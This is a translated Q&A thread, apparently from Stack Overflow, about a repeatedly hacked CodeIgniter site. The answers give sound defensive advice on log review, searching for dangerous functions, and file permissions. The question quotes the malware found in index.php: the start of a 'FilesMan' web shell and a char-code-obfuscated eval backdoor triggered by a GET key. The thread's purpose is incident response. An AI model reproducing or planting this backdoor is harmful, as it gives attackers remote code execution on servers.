12

我有一个不断被黑客入侵的 codeigniter 2.0.2 项目。主要有两个问题：

  • 恶意代码被添加到index.php文件的开头
  • 流氓文件被添加到服务器

根据主机的说法，没有 FTP 日志表明这些文件已上传。

  1. 由于没有与流氓文件相关的 FTP 上传日志 - 这是否意味着它必须是通过网站本身的漏洞利用，例如联系人或上传表单？

  2. 该站点位于共享主机上-将其作为同一服务器上的站点的代码也被黑客入侵，这是导致问题的原因吗？

  3. 如果我将 index.php 的文件名更改为其他名称会有帮助吗？

  4. 由于index.php正在修改，我应该将其 CHMOD 为 644 吗？

  5. 我一直在寻找 codeigniter 项目的建议权限，但还没有任何来源。除了上传/日志目录（777）之外，我在整个站点上都在想 644 - 这听起来好吗？

注入文件顶部的index.php代码：

<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-

然后是一个带有长编码字符串的长 preg_replace 语句。接下来是第二条语句：

if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}

有一个联系表格和一个表格，用户可以使用 CKFinder 2.0.1 上传项目。打算更新一下，看看能不能解决。

4

4 回答 4

11

你可以做几件事：

  • 检查您的日志文件是否有对具有奇怪或不熟悉名称的文件的 POST 请求，例如.cache_123.php- 这些可能是后门脚本，尤其是以点开头的文件名，从而将其隐藏在（常规）文件系统之外。
  • 下载完整的实时站点并在站点范围内搜索诸如base64_decode, exec, preg_replace, passthru, system, shell_exec, eval, 等内容FilesMan
  • 通过防病毒软件（AVG、Avast、...）运行检查您的整个（下载的实时）站点
  • 如果可能，chmod 上传目录 775 而不是 777
于 2012-09-04T13:18:44.847 回答
2

我知道这是一个旧线程，但我想添加一个选项来确定问题发生的原因和位置。

创建一个每次加载的钩子（无论在哪个阶段）并将 $this->input->post() 和 ->get() 连同类名和方法名一起转储到日志文件中。

这样，您将足够快地看到问题开始的地方。

于 2013-09-14T11:37:54.730 回答
0

我认为通过 PHP 应用程序而不是 FTP 服务器更容易破解。你有上传表格吗？如果您无法使用 VPS，请尝试让您的主机将其移至另一台共享服务器。

于 2012-09-04T13:12:29.107 回答
0

我认为您确实需要执行代码审核以找到核心漏洞所在的位置。除非您运行某种完整性检查，否则您无法确定攻击者是否在其他文件中放置了后门。

作为快速修复，我建议您尽可能安装 ModSecurity Apache 模块。接下来，寻找代码中可能发生文件注入的地方（通常是文件上传函数）。

于 2012-09-05T02:43:36.053 回答